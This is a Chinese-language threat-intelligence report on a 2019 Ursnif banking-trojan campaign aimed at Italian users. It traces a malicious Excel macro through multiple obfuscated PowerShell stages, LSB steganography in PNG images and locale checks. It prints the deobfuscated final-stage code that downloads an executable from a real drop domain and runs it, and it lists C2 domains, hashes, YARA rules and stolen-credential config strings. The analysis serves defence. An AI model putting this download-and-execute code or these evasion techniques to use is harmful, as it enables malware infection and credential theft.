
前言
本文详细阐述近期Ursnif木马的不断演变,包括其日益复杂的感染链、针对windows10的新隐写技术以及重度的代码混淆。
简介
在之前的文章中,我们列举了Unsnif恶意软件威胁的背后,恶意攻击者所使用的样本传播方式和主要的网络攻击手段(TTPs:Tactics,Techniques,andProcedures)。事实上,在本篇报告中,我们将详细阐述近期日益复杂的感染链,除了为windows10设计的一种新隐写技术外,还涵盖了高级别的混淆技术。
技术分析

攻击者仍然利用恶意Excel文档来诱导其目标启动感染链,这是启用隐藏在这些攻击向量中的宏代码所必需的环节。

一旦打开文档,一个伪造的模糊图像会邀请受害者启用内容,以启动恶意宏代码(如上图左侧所示)。但是,将模糊的图像移开后会发现,A1单元格内包含隐藏代码:其内容是base64编码的脚本。

如图所示,宏代码从文档的第一个单元格中开始检索内容,然后将其与后续的6行内容连接起来。它的执行启动了感染的“powershell阶段”:一系列的多层混淆脚本。
代码片段1:(‘$w=’OBFUSCATEDPAYLOADZERO‘;$v=[];$j=20*60;salMneW-OBJeCt;$e=[]::ASCiI;(((([][CoNVERt]::FRomBase64STRINg($w),$v::decOMpREss)),$e)).reaDTOEnD()|($PshOME[4]+$PshoMe[34]+”x”)’)
Powershell阶段
在第一层的混淆中,我们注意到变量“$j”的声明,该变量在混淆处理的下一步中用于通过Sleep库函数的调用来延迟脚本的执行。
代码片段2:$b=’i’+$sHeLlid[13]+’X’;if([Environment]::’10’){Sleep$j;.($b)(([][cOnveRt]::FrOMbASe64stRinG(‘OBFUSCATEDPAYLOADONE‘),$v::DecOMprESs)|%{($_,[]::ASCIi)}).READtoenD()}else{$h=’$y=@(OBFUSCATEDPAYLOADTWO)’.replace(‘c’,’,0,’);$h=$(‘b’,’,101,’);$h=$(‘a’,’,0,0,0,’);.($b)($h);[]::Load([byte[]]$y)|Out-Null;.($b)([]::pf())}该阶段有趣的一点是其会检查安装在受害者计算机上的windows版本,上面的代码片段中包含一个if条件语句,来决定执行哪一个分支的感染链。如果目标版本不是windows10,恶意软件会运行OBFUSCATEDPAYLOADONE(另外一个分支将会在TheWindows10分支章节中阐述)。在OBFUSCATEDPAYLOADONE分支中,其下一步是:
代码片段3:(“{1}{0}”-f’x’,’IE’)(((‘.(D’+’Nn’+'{0’+’}{1’+’}DN’+’n-f’+(“{0}{1}”-f‘fI’,’Qs’)+(“{0}{1}”-f‘fIQ’,’,’)+(“{0}{1}”-f’fIQ’,’a’)+(“{0}{1}”-f’lfI’,’Q’)+(((“{0}{1}{2}”-f‘)’,’Dfii’,’ex’)))+’;.’+'(‘+’DNn{0}{‘+’1}DNn’+’‘+’-f’+’fI’+(“{0}{3}{2}{1}”-f‘QS’,’Q’,’Q,fI’,’afI’)+’lf’+(((“{0}{2}{1}”-f’I’,’Ln’,’Q)‘)))+’e’+(“{2}{1}{0}”-f’;’,’t’,’w-objeC’)+’f’+’1’+’e{c’+’1}=((‘+'(DN’+’n{‘+’6’+’}’+'{3}’+'{10}’+'{‘+’4}{8}{‘+’5’+’}{‘+’2’+’}{11’+’}{‘+’1}{9}{0’+’}{7}DNn-ffIQ’+’w’+’f’+(“{0}{2}{1}{3}”-f’IQ,f’,’awfI’,’IQ’,’Q,fI’)+(“{2}{1}{0}”-f’‘,’me’,’QNa’)+’Df’+’I’+(“{0}{1}”-f’Q,’,’fIQ’)+’dd’+(“{0}{1}”-f’-T’,’fI’)+(“{1}{0}”-f‘Q’,’Q,fI’)+’-Af’+’IQ,’+(“{1}{0}”-f‘Qb’,’fI’)+(“{0}{1}{2}”-f’l’,’yfIQ,’,’fIQA’)+(“{1}{0}”-f‘,f’,’fIQ’)+’IQ’+(“{0}{1}”-f’;f’,’IQ,’)+’f’+’I’+(“{1}{0}”-f’sse’,’Q’)+(“{0}{1}{2}”-f‘m’,’fI’,’Q,fIQi’)+’n’+(“{1}{0}”-f’D6fI’,’g’)+(“{1}{0}”-f‘,fIQype’,’Q’)+(“{0}{1}”-f‘‘,’fIQ’)+’,’+(“{0}{1}”-f‘fIQ’,’6wSyst’)+(“{0}{2}{1}”-f’’,’f’,’r’)+(((“{1}{3}{2}{0}”-f‘reS1ZP’,’IQ)).D’,’n’,’N’)))+’L’+(((“{1}{0}{2}”-f‘C’,’A’,’eDNn(([‘)))+(“{1}{2}{3}{0}”-f‘A’,’ChA’,’r]68+’,'[Ch’)+’r]’+(“{0}{1}”-f’54’,’+[‘)+(“{1}{0}”-f’1′,’ChAr]1′)+’9’+’),[‘+’sT’+’ri’+(“{1}{0}”-f’][C’,’NG’)+’hA’+(“{0}{1}”-f’r]’,’39’)+’));’+’f1e{c2}’+’=’+’f’+’I’+(“{1}{0}”-f’f1e’,’Q’)+’tm’+’=f’+’IQ’+(“{1}{0}”-f’h’,’fIQ’)+’t’+(“{0}{1}”-f’tps:’,’/’)+(“{1}{0}”-f‘ima’,’/’)+’ges’+(“{0}{1}”-f‘2.imgb’,’o’)+’x’+’.c’+’o’+’m/d’+’8’+(“{1}{2}{0}”-f’u’,’/0′,’e/eyGV’)+’p7s’+’_o.’+(“{1}{0}”-f’fIQ’,’pngfIQ’)+’;f’+’1e’+’r’+’y=’+(“{0}{1}”-f’[Sys’,’te’)+’’+(“{1}{0}”-f’ebR’,’’)+’equ’+’es’+(“{0}{1}{2}”-f‘t’,’]::’,’Creat’)+(((“{0}{1}”-f‘e(‘,’f1e’)))+’t’+’m);’+(“{0}{1}”-f‘f1′,’ery’)+’.Me’+(“{1}{0}”-f‘od=’,’th’)+’f’+’I’+’QfI’+’QH’+(“{0}{1}”-f’E’,’ADf’)+(“{1}{2}{0}”-f‘;f1′,’IQ’,’fIQ’)+’e’+’ra’+’‘+’=f’+(“{0}{1}”-f‘1e’,’ry.’)+’G’+’etR’+’es’+(“{0}{1}”-f‘pon’,’s’)+(“{1}{2}{0}”-f‘g’,’e(‘,’);f1e’)+’=’+’L‘+’Sy’+’st’+’e’+’m’+’.’+’D’+’ra’+(((“{4}{3}{2}{0}{1}”-f’m’,’ap((‘,’t’,’’,’win’)))+’L’+’‘+(“{1}{2}{0}”-f’ebC’,’Net.’,’W’)+(((“{2}{1}{3}{0}”-f’.Ope’,’ien’,’l’,’t)’)))+’n’+’Rea’+(((“{1}{0}{2}”-f’t’,’d(f1e’,’m))’)))+(“{2}{0}{1}”-f‘eo=’,’L’,’;f1′)+’B’+’yte’+(“{1}{0}”-f‘165′,'[]’)+’60’+(((“{0}{1}”-f‘;’,'(0..’)))+’35)’+’uXc’+’%’+'{‘+(((“{2}{0}{1}”-f’each’,'(f’,’for’)))+’1ex’+(((“{1}{0}”-f’in(‘,’‘)))+’0.’+’.4’+’59)’+’){f’+’1ep’+(“{0}{1}”-f’=f’,’1e’)+(“{1}{0}”-f‘et’,’’)+(((“{0}{1}{3}{2}”-f‘Pixe’,’l(‘,’ex,’,’f1′)))+(((“{1}{0}{2}”-f‘1e_’,’f’,’);’)))+’f1’+’e’+(“{2}{1}{0}”-f‘6’,’1e_*4′,’o[f’)+’0+f’+’1’+’e’+’x’+(((“{0}{1}{3}{2}”-f’]=(‘,'[math]’,’F’,’::’)))+’lo’+(((“{0}{1}”-f’o’,’r((f’)))+’1’+’ep.’+(((“{1}{0}”-f’15)’,’B-band’)))+’*’+’16)’+’-b’+’o’+’r(f1e{‘+’P’+’}.DN’+(“{1}{2}{0}”-f‘Nn-b’,’ng’,’D’)+’a’+(“{0}{1}”-f‘n’,’d15′)+’))’+’};f1ekk=’+'[S’+(“{0}{1}{2}”-f’yste’,’m’,’.Tex’)+’t.’+(“{0}{2}{1}”-f‘En’,’di’,’co’)+(“{0}{1}{2}”-f’n’,’g]::UT’,’F8′)+(“{1}{0}{2}”-f‘Get’,’.’,’Str’)+(((“{0}{1}”-f’ing’,'(‘)))+’f’+’1eo’+'[‘+’0.’+’.’+’162’+’8’+’6])}fIQ;’+'(D’+’Nn{‘+’0}{1}DNn-ffI’+(“{0}{1}”-f’Qd’,’fIQ,’)+’fI’+(((“{0}{1}”-f‘Qfi’,’fIQ)‘)))+’f1e’+’C1f’+’1ec’+(“{0}{1}”-f’2uX’,’c’)+’(DNn{1}{0’+’}DN’+’n’+’-‘+(“{1}{0}”-f‘fIQ’,’f’)+(“{2}{1}{0}”-f‘,f’,’Q’,’ifI’)+’IQ’+(((“{1}{0}{2}”-f’IQ’,’dff’,’);f’)))+’1e{kk}uXc.(DN’+’n’+'{1’+’}’+'{0}D’+’N’+’n-f’+(“{1}{2}{0}”-f’Q’,’fIQi’,’fI’)+’,’+’f’+’IQd’+’ffI’+’Q)’)-CrePlacE([CHAr]68+[CHAr]78+[CHAr]110),[CHAr]34-REPLace([CHAr]117+[CHAr]88+[CHAr]99),[CHAr]124-CrePlacE’f1e’,[CHAr]36-REPLace([CHAr]83+[CHAr]49+[CHAr]90),[CHAr]96-CrePlacE([CHAr]102+[CHAr]73+[CHAr]81),[CHAr]39))产生如下代码片段:
代码片段4:.(“{0}{1}”-f‘s’,’al’)Dfiiex;.(“{0}{1}”-f’Sa’,’l’)Lnew-objeCt;${c1}=(((“{6}{3}{10}{4}{8}{5}{2}{11}{1}{9}{0}{7}”-f‘w’,’aw’,’NameD’,’dd-T’,’-A’,’bly’,’A’,’;’,’ssem’,’ingD6′,’ype‘,’6’)).”re`PLACe”(([ChAr]68+[ChAr]54+[ChAr]119),[sTriNG][ChAr]39));${c2}=’$tm=””;$ry=[]::Create($tm);$=”HEAD”;$ra=$();$g=(().OpenRead($tm));$o=LByte[]16560;(0..35)|%{foreach($xin(0..459)){$p=$($x,$_);$o[$_*460+$x]=([math]::Floor(($)*16)-bor(${P}.”g”-band15))};$kk=[]::($o[0..16286])}’;(“{0}{1}”-f’d’,’fi’)$C1$c2|(“{1}{0}”-f’i’,’df’);${kk}|.(“{1}{0}”-f’i’,’df’)这段代码在ursnif感染链中很常见,其功能是从图片共享平台(例如)上下载特定的PNG图像。该图像通过已经阐述的LSB隐写技术,隐藏着下一步的powershell代码。

这张看似无害的图像中隐藏的代码如下:
代码片段5:if((g`E`T-date-uformat(‘%B’))-like(“{1}{0}”-f’gg*’,’*’)){($()[1,3]+’x’-Join”)(([][ConvErt]::fRoMBAse64STrING(‘OBFUSCATEDPAYLOADTHREE‘),[]::dECOMprEsS)|foreaCH-obJect{($_,[]::ASCII)}).reADtoEnD()}仔细观察代码的第一行,可以注意到只有在特定条件满足时才会执行此代码:它检索当前日期,提取其中的月份字段,在本示例中是5月(意大利语的Maggio),并将其与正则表达式*gg*进行比较。此检查确保目标用户是意大利用户,并根据活动时间跨度运行该样本。一旦条件满足,将执行OBFUSCATEDPAYLOADTHREE,揭示另一个混淆层。
代码片段6:”$(sET‘OFs’”)”+[sTRiNG](‘OBFUSCATEDPAYLOADFOUR‘-sPLIT’@’-sPLiT‘’-SPlIt‘B’-spLIT’t’-SPliT‘Y’-spLiT‘e’-spLIt‘:’-sPLIt'‘-sPLIt‘m’-SPLit‘n’|FOrEACh-obJEcT{([CoNvERt]::ToinT16(($_.tOStrinG()),8)-AS[chaR])})+”$(Set-itEM‘VArIAblE:ofS’‘‘)”|((gV‘*mdR*’).nAME[3,11,2]-JOIn”)第四个PAYLOAD基本上是以十六进制编码的,添加了其他的特定字符,并且可以通过[Convert]::ToInt16()函数进行恢复。由此揭开另一层混淆:
代码片段7:(([][]::fRombAsE64sTRINg(‘OBFUSCATEDPAYLOADFIVE‘),[]::DeCoMPress)|FOrEACH{($_,[]::aSCii)}).Readto()|($enV:COmSpeC[4,26,25]-join”)第五个payload是一段压缩的base64编码字符串,立即解压并执行,进入第六步payload:
代码片段8:(‘OBFUSCATEDPAYLOADSIX‘.SpLit(‘V%JLg,t}y’)|foreaCh{[cHaR]($_-bxOr’0x52′)})-jOIn”|((vaRiABlE‘*MDR*’).NamE[3,11,2]-join”)这一混淆层不同寻常,因为其包含一段大量垃圾字符串的十六进制代码,事实上,利用0x52进行异或加密,其结果如下:
代码片段9:((vari`A`BlE(“{1}{0}”-f’r*’,’*md’)).”n`Ame”[3,11,2]-jOiN”)((‘(iIm{0}{1}iIm-f6c0wr6c0,6c0it’+’e’+(“{9}{4}{1}{10}{0}{7}{5}{6}{8}{2}{3}”-f’00000000′,’0′,’000;’,'(‘,’)0′,’00’,’0′,’0000000′,’00000′,’6c0′,’0′)+’iIm{1}{0}iIm-f6c0p6c0,6c0slee6c0)(5*20);i’+(((“{6}{5}{2}{4}{0}{3}{7}{8}{1}{9}”-f‘+’,’0Xb’,’((6c0HKC’,’6c0′,’6c0′,’6c0)’,’f(((6c0gp’,’U:6c0+’,’6c’,’D’)))+(“{7}{0}{8}{2}{3}{9}{1}{6}{4}{5}{10}”-f’6c0+6′,’c0b’,’6c0′,’+6c0′,’c0+6c0Deskt6c0+’,’6c’,’D6′,’Con’,’c0trol‘,’PanelX6c0+6′,’0op6c’)+(“{8}{10}{6}{2}{1}{0}{9}{3}{7}{4}{5}”-f‘(‘,’E’,’c’,’CHar]88′,’]98′,’+[CHar]’,’la’,’+[CHar’,’0)-cRE’,'[‘,’p’)+(((“{1}{0}{2}”-f’8),[C’,’6′,’Har’)))+’]92)o6F.(iIm{0}{1}iIm-f6c0Sele6c0,6c0ct6c0)-Property(6c0*6c0)).iImprEFEr4xTRE4xTD’+(“{0}{1}{2}”-f’U4x’,’T’,’I4xTl’)+(“{0}{3}{1}{2}”-f‘A’,’UAG’,’esiIm’,’NG’)+(((“{0}{2}{1}{3}”-f’-l’,’ke(‘,’i’,’6c0′)))+’*t-6c0+6c0I*6c0)){lH0{gO}’+(((“{3}{1}{14}{2}{16}{7}{0}{6}{5}{9}{12}{10}{13}{4}{11}{8}{15}”-f’6c0′,’c0htt’,’c0+6c0//’,’=(6′,’fo’,’′,’a’,’d6c0+’,’/6c0+6c0///6c0+6c0/6c0+6c0/6c’,’c’,’c0in6c0+6c’,’6c0+6c0/’,’0+6′,’0′,’ps:6′,’0+6c0′,’newup’)))+(“{3}{5}{0}{1}{2}{4}”-f‘..6′,’c0+’,’6c0..6c’,’/….6c0+6c0′,’0+’,’..’)+(“{1}{0}{2}{3}”-f‘+’,’6′,’6c0x’,’e’)+’6c0),iImiIm;foreach(lH0{u}inlH0{G4xTO}){Try{lH0{R4xTI}=iImlH0env:’+’Im;lH0{k4x’+’Tl}‘+’=(iIm{1}{2}{0}iIm-f6’+’c0ect6c0,6c0New-O6c0,6c0bj6c0)(iIm{5}{4}{1}{‘+’0}{3}{2}iIm-f6c0eb6c0,6,6c0t6c0’+’,6c0Clien6c0,6c0s6c0,6c0Sy6c0);lH0{K4xTL}.iImHEA4xTDErsiIm.(iIm{0}{1}iIm-f6c0Ad6’+(((“{17}{26}{11}{0}{6}{16}{20}{1}{3}{23}{9}{13}{8}{22}{18}{19}{4}{14}{15}{21}{25}{24}{2}{5}{12}{7}{10}”-f’c’,’e((6c0′,’c0Win’,’use’,’,(6c0Moz’,’dow6′,’0′,’0+’,’-age’,’c0+’,’6c’,’,6′,’c’,’6c0r’,’illa6c0′,’+’,’d’,’c’,’6c0′,’t6c0)’,’6c0).Invok’,’6c0/5.’,’n6c0+’,’6′,’0+6′,’0(6c’,’0′)))+(“{5}{1}{9}{7}{12}{2}{0}{11}{8}{3}{6}{10}{4}”-f‘6’,’0+’,’in’,’6c0+6c0‘,’‘,’0s6c’,’x64;6′,’;‘,’;’,’6c0′,’c0+6c0′,’4′,’W’)+(“{6}{2}{0}{5}{4}{7}{1}{3}”-f’r’,’v:’,’0+6c0′,’66.06c0+6′,’+6c’,’6c0′,’6c’,’0′)+(((“{2}{6}{3}{0}{5}{4}{1}”-f’0+’,’+’,’c0)Gec6c0+6′,’0k6c’,’6c0′,’6c0o’,’c’)))+(“{2}{4}{8}{6}{1}{5}{0}{3}{7}”-f’00’,’c0+6′,’6c0/206c0+’,’6c0+’,’6′,’c’,’016′,’6′,’c’)+(“{1}{0}”-f’001′,’c’)+(“{0}{1}{2}”-f‘6’,’c0+6c’,’0′)+(“{1}{0}{2}”-f‘+6′,’016c0′,’c0Fi’)+(((“{0}{6}{9}{4}{8}{2}{7}{3}{5}{1}”-f’re6′,’006c0))’,’6′,’6c0+6′,’/’,’c’,’c0+6c’,’c0+6c06.’,’6′,’0fox’)))+’;lH0{KL}.(iIm{2}{1}{3}{0}iIm-f6c0e6c0,6c0nload6c0,6c0Do’+’w6’+’c0,6c0Fil6c0).Invoke(lH0{u}’+’,lH0{rI’+’});if((lH0{hO4xTst}.iImCurr’+’4xTentc4xTUl4xTTuREiImo6F.(iIm{1}{0}{2}iIm-f6c0t-Str’+(((“{2}{5}{0}{8}{3}{4}{10}{6}{7}{9}{1}”-f‘0,6’,’0*a6c0′,’6′,’Ou6c0,’,’6c0′,’c’,’0))-li’,’ke(‘,’c0′,’6c’,’ing6c’)))+’+6c0li*6c0)){(iIm{0}{1}iIm-f6c’+’0’+(“{3}{2}{1}{0}”-f’0ps’,’c0,6c’,’6′,’Sa’)+’6c0’+’)lH0{RI};break}}Catch{.(iIm{‘+’2}{1}{3}{0}iIm-f6c0ost6c0,6c0te-6c0,6c0Wri6c0,6c0H6c0)lH0{_}.iImExce4xTPt4xTiON’+(“{1}{2}{3}{0}{4}”-f’s’,’i’,’’,’ME’,’4xTs4xTAgE’)+’iIm}}}’).”r`EpLAcE”(([cHAR]111+[cHAR]54+[cHAR]70),[stRiNg][cHAR]124).(‘r’+’eplA’+’cE’).Invoke(‘8Sd’,’’).”R`E`PLace”(([cHAR]52+[cHAR]120+[cHAR]84),[stRiNg][cHAR]96).”REp`la`Ce”(([cHAR]105+[cHAR]73+[cHAR]109),[stRiNg][cHAR]34).”r`e`pLaCE”(‘lH0’,[stRiNg][cHAR]36).”r`EplA`Ce”(([cHAR]54+[cHAR]99+[cHAR]48),[stRiNg][cHAR]39))至此,代码已经相对清晰了。我们注意到,有一些额外的替换操作来混淆代码,因此,我们进入混淆的最后一步:
代码片段10:(“{0}{1}”-f’wr’,’ite’)00000000000000000000000000000;(“{1}{0}”-f‘p’,’slee’)(5*20);if(((‘gp’)((‘HKC’+’U:’+’XbDCon’+’trol‘+’PanelX’+’bD’+’Deskt’+’op’)-cREplacE([CHar]88+[CHar]98+[CHar]68),[CHar]92)|.(“{0}{1}”-f‘Sele’,’ct’)-Property(‘*’)).”prEFEr`RE`DU`I`lANGUAGes”-like(‘*t-‘+’I*‘)){${gO}=(‘https:’+’//newupd’+’atindef.’+’in’+’fo’+’//’+’///’+’/’+’/’+’/….’+’….’+’..’+’.e’+’xe’),””;foreach(${u}in${G`O}){Try{${R`I}=“$env:”;${k`l}=(“{1}{2}{0}”-f’ect’,’New-O’,’bj’)(“{5}{4}{1}{0}{3}{2}”-f’eb’,’’,’t’,’Clien’,’s’,’Sy’);${K`L}.”HEA`DErs”.(“{0}{1}”-f‘Ad’,’d’).Invoke((‘use’+’r-agen’+’t’),(‘Mozilla’+’/5.0(‘+’Window’+’s’+’;Win64;’+’x64;’+’‘+’r’+’v:66.0’+’)Gec’+’k’+’o’+’/20’+’1’+’0’+’01’+’01’+’Fire’+’fox/6’+’6.’+’0′));${KL}.(“{2}{1}{3}{0}”-f’e’,’nload’,’Dow’,’Fil’).Invoke(${u},${rI});if((${hO`st}.”Curr`entc`Ul`TuRE”|.(“{1}{0}{2}”-f’t-Str’,’Ou’,’ing’))-like(‘*a’+’li*’)){(“{0}{1}”-f’Sa’,’ps’)${RI};break}}Catch{.(“{2}{1}{3}{0}”-f‘ost’,’te-‘,’Wri’,’H’)${_}.”Exce`Pt`iON”.”MEs`s`AgE”}}}这是最后一步,也是powershellstage中至关重要的一步。实际上,该步骤的目的从一个非常隐蔽的站点位置下载一个PE32payload,移动到%TEMP%路径然后执行它。
加载器
至此,我们分析了一系列难以置信的复杂powershell代码片段,但是,我们也不要忘记PE32payload。

该样本是一个典型的ursnifdll加载程序,能够将恶意代码注入到进程中,该特定样本已从loaidifds[.club服务端下载。

最终的payload只是一个base64编码的可执行程序:将要注入到进程中的dll。
payload有效载荷

这是一个典型的ursnif恶意payload。为了提取出一些有意思的数据,我们手动对其进行分析。

在检查dll时,我们发现其在配置文件中包含3个C2的引用。在分析的过程中,前两个C2,filomilalno[.club和fileneopolo[.online仍然活跃。此外,通过分析dll,我们发现了一些其他有趣的配置字符串信息,将会在配置字符串章节详细阐述。
Windows10分支流程
回看代码片段2,我们提到了其对安装的windows操作系统版本的检查。这里,我们将继续分析其另一个控制流程的分支,即windows10分支:
代码片段11:$h=’$y=@(OBFUSCATEDPAYLOADTWO)’.replace(‘c’,’,0,’);$h=$(‘b’,’,101,’);$h=$(‘a’,’,0,0,0,’);.($b)($h);[]::Load([byte[]]$y)|Out-Null;.($b)([]::pf())
指令的结构非常简单:PAYLOADTWO实际上是一个十进制数字序列,随即被其他字符替换。替换完成后,通过一下命令来执行payload:
[]::Load([byte[]]$y)
这意味着变量$Y的内容实际上是.NET动态链接库。它具有以下静态信息:

该dll的目的是下载另一个包含一系列命令的PNG图像,通过隐写技术实现隐藏。有趣的是,该库并没有导出函数,加载的代码直接由powershell命令([]::pf())调用,其位于代码片段11中,在命名空间SA内检索sii类,并调用静态方法pf:

pf方法设计的目的是从合法的postimg[.cc平台上下载PNG图像,在这种情况下,隐写技术在另一个控制流分支中具有不同的应用。事实上,恶意软件也使用了一层AES加密。细心的读者能够注意到DLL中所使用的加密体制的特殊性:加密不仅提供了对在线隐写分析的保密性,还提供了对所在国家的检查,以确保受害者是所针对的目标之一。实际上,解密密钥是由当前CultureInfo的LCID属性生成的,其数据结构提供了计算机的日历、语言和区域设置等信息。


pf()函数的返回值是隐藏在上图中的payload,显然,这是一个混淆的powershell脚本。和之前的分支一样,该payload包含多层次的重度混淆,这里一共有6层。

此分支的第六个powershell阶段包含2个国家/地区的检查,而不仅仅是一个。
第一项检查是HKCU:ControlPanelDesktop注册表项,其必须具有和It字符串匹配的首选语言;第二项检查是powershell命令${host}.CurrentCulture的结果,必须与子字符串ali*匹配,明确指定了意大利语。
代码片段12:if(((‘gp’)(((“{0}{4}{3}{1}{5}{2}”-f’HKCU:{0}ControlP’,’}D’,’sktop’,’l{0′,’ane’,’e’))-f[Char]92)|(“{0}{1}”-f‘Sele’,’ct’)-Property(‘*’)).”p`R`efeRR`EduiL`AnguA`gES”-like(“{1}{0}”-f’*’,’*t-I’)){${GO}=(“{0}{4}{3}{7}{1}{5}{6}{2}”-f’https://newupd’,’///……’,’e’,’///’,’atinde’,’….’,’.ex’,’//’),””;foreach(${u}in${GO}){Try{${RI}=“$env:”;${k`L}=.(“{1}{0}{2}”-f‘ec’,’New-Obj’,’t’)(“{0}{4}{2}{3}{1}”-f‘’,’nt’,’Cl’,’ie’,’’);${Kl}.”Head`ers”.”A`DD”((“{2}{1}{0}{3}”-f’e’,’r-ag’,’use’,’nt’),(“{10}{14}{6}{12}{8}{5}{3}{7}{11}{13}{0}{2}{15}{9}{4}{1}”-f’64;’,’Firefox/66.0′,’rv:6′,’W’,’‘,’10.0;’,’o’,’in’,’NT‘,’Gecko/20100101′,’Mozilla/5.0(‘,’64;‘,’ws’,’x’,’Wind’,’6.0)’));${k`L}.”DOWNl`oadf`ilE”(${u},${r`I});if((${h`osT}.“Cu`Rr`En`T`cultURe”|(“{1}{0}{2}”-f’-Stri’,’Out’,’ng’))-like(“{1}{0}”-f’i*’,’*al’)){.(“{0}{1}”-f‘S’,’aps’)${Ri};break}}Catch{(“{2}{3}{1}{0}”-f’t’,’s’,’Write-‘,’Ho’)${_}.”EXC`epTION”.”m`ES`SAge”}}}随后,我们便得到和加载器章节中相同的payload。
总结
Cybaze-YoroiZLAB团队分析了过去几个月中,许多与ursnif有关的攻击活动,最近的几次活动表明其愈发复杂和狡猾,尤其是在攻击杀伤链的武器化阶段,以及在传递payload时所准备的多层次、高混淆的感染链。
考虑到该恶意软件对于意大利全境的威胁规模和持续性,很明显,这些攻击背后的威胁组织正在大力地利用自动化的攻击武器,并投入资源、时间和金钱来准备复杂的、精准打击的感染链。这些都表明,意大利在持续地受到网络罪犯的攻击,这些攻击者已经达到了一定程度的组织熟练度,并且持续改进其攻击技巧,这都意味着意大利的各公司和组织所面临风险的增加。
IOCs
Hashes
bb5dab56181dbb0e8f3f9182a32e584315cd1e6e2fedb2db350e597983f0e880
abb8a8351bb83037db94cd2bb98a8f697260f32306c21a2198c6b7f1a3bd1957
07d340cc0c476e8098a9979714f811e040076666bd8d82e229a89b0b394ae835
062389d43ee85c4b1cfda62dc09494db8f99c57aac15b2a237c4929bbf69185d
f09c85e45d1d764162c44867d8944220e0d8db1cb9ed06fd9b5cc36ae28de4b8
f2013e97c18531fd5a812f365dbd070e5d7e75192bfbb519261effcfd09fcd89
f652a3f6cd614caede3ca57d33f530200c07798d3dc19fccf787fb93286dd87a
5aaf08c96b9704d7c968bfea8524380e5698e9f478340665623c4ac3b9b9ed24
b8269764469c32d223840a8733ad08059c475c527079e606ed6aa22dff2f68bb
5b82967c329f622b387061c6de3fb05b7a7f2ba48aeef5976882dc4f2a082d67
8c33d3df82a671bf5256764468e2c9b15edabe55260393d31fbbc7d90260daf6
dac0427eebc39d4b789ae71d9944ccfd622ab1da8f242a4c5a46eed32af77469
ba53cf421f47a08f0cf4d1da95597ffb7199df329c005f2b0b3d96e653455e1a
32609cf05b444907eab4b97630b278ea949439dad9aa4c08c01a199cdf971dba
e9c837c857defea2ab71707fbbde992876b15d51d4a35578d45f89060e722cff
2a5319491b4f025078c2a66806dc27f905a43bfc0fd74d4fa871974616a40ee1
f4a8e0a0a0fda9410c783d5a78ab233432c015fe7017617c3bdbbc4ac2b72fd2
7f4996c29d6a9359f54e2afc4fa688aec4c916b27481d62c07a2dbab47f935a4
b94d0b867b709a5473082168c85cab6e8048ee54c2926c91ca33707b96507fa9
abb8a8351bb83037db94cd2bb98a8f697260f32306c21a2198c6b7f1a3bd1957
dd4c52b299b25f1ad217fb4f9a66a915abb79888f9c6553a64949731ad92b4fb
d89b3415ecc212780144cb3f74c6fea8752052c8d469debf7c12864afd1cd277
dd377e2673e1f6d070272c9fbb2a63445038c710f7b83c1d8c227050c47a78d1
061281bcc63295597216a68eeceb8355b18de9e15768af48e62a9cf413d0ca37
v2547089727a628ce940ab18554bde85121810cee55857089fd5914b9d972870f
5ce8d23dec401142cd35a00ea8d23eedaa64a6f7a08cadbc11c22559d5bdd4bf
f075570279ac63d38b7933122c1baf82d1ae2151b0accd199f7b56ac93ae9808
8578d4261fbe0b899cb57f2c346c0961f3d44a046366d1fb0b453ce821437ab1
16b733db9fc27525d11f69457539b92f4ffc7b220ef2d6769705950626461be5
6c55e9f85a7cd1232ec94ae9c31f3b0fb2fa597ebad5a5c19e4a5d15fc9e14e0
Dropurl
http[://images2[.imgbox[.com/d8/0e/eyGVup7s_o[.png
https[://newupdatindef[.info////////……….[.exe
http[s://[.cc/mbBH51RX/cry[.png?dl=1
C2
filomilalno[.club
fileneopolo[.online
reziki[.online
reziki[.xyz
YaraRules
import"pe"ruleUrsnif_Excel_Dropper_1905{meta:description="YaraRuleforExcelUrsnifDopperofthecampaignofofMay2019"author="Cybaze-YoroiZLab"last_updated="2019-06-04"tlp="white"category="informational"strings:$s1="TvZjuM4ku8L7D"$s2="dhgfdd5d6udujdhg9"$a1={6F6C653E0219007300740064006F0080}condition:allofthem}ruleUrsnif_Loader_1905{meta:description="YaraRuleforUrsnifLoaderofthecampaignofofMay2019"author="Cybaze-YoroiZLab"last_updated="2019-06-04"tlp="white"category="informational"strings:$s1="rdP/dfn"$s2="c:\team\let\Require\"$a1={E95D3CCD49DC51C8}condition:allofthem}ruleUrsnif_Malicious_DLL_1905{meta:description="YaraRuleforUrsnifLoaderofthecampaignofofMay2019"author="Cybaze-YoroiZLab"last_updated="2019-06-04"tlp="white"category="informational"strings:$s1="GETt'=PUTt=POSTt"$s2=""$s3="CHROME_"condition:uint16(0)==0x5A4Dandallofthem}strings
=%uversion=%uuser=%08x%08x%08x%08xserver=%uid=%ucrc=%xversion=%usoft=%uuser=%08x%08x%08x%08xserver=%uid=%utype=%uname=%sip=%sos=%s%u.%u_%u_%u_x%utor=1Mozilla/4.0(compatible;;WindowsNT%u.%u%s)http://https://file://%/upd%luSoftwareAppDataLowSoftwareMicrosoftMain%s%sHTTP/1.1Host:%sUser-Agent:%sConnection:close;Content-length:%u{%08X-%04X-%04X-%04X-%08X%04X}%08X-%04X-%04X-%04X-%08X%04XS:(ML;;NW;;;LW)D:(A;;0x1fffff;;;WD)(A;;0x1fffff;;;S-1-15-2-1)open%%%1:%udel%%1ifexist%%1goto%udel%%0VarsFilesConfigRun/?version=%uuser=%08x%08x%08x%08xserver=%uid=%utype=%uname=%s/UPD/SD/sd%luSoftwareMicrosoftWindowsCurrentVer%APPDATA%MozillaFirefoxProfilesEnableSPDY3_0%sprocessed:%u|"%s"|%uCmd%uparsing:%uPR_ReadPR_WritePR_=0.setDiskDirectory1="%s".setCabinetName1="%s".setDestinationDir="%S""%s"/F"%s"cmd/C"%s%s1"/"HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall"/scmd/U/C"type%s1%sdel%s1"_pref("",false);%s=%s/images/.aviHTTPMailSMTPPOP3IMAPnoneWABOpenSoftwareMicrosoftWindowsMailSoftwareMicrosoftWindowsLiveMailStoreRootSaltaccount{*}.oeaccountServerUser_NamePassword2PortSecure_Connectiontype=%S,name=%S,address=%S,server=%S,port=%u,ssl=%S,user=%S,password=%SNSS_Inithostnametype=%S,name=%s,address=%s,server=%s,port=%u,ssl=%s,user=%s,password=%sNSS_ShutdownmailMessageAccountPK11_FreeSlotAccount_NamePK11_AuthenticateSMTP_Email_AddressencryptedUsername%S_%SencryptedPasswordEmailEmailAddressCollection/EmailAddress[%u]/=%uSoftwareMicrosoftWindowsNTCurrentVersionWindowsMessagingSu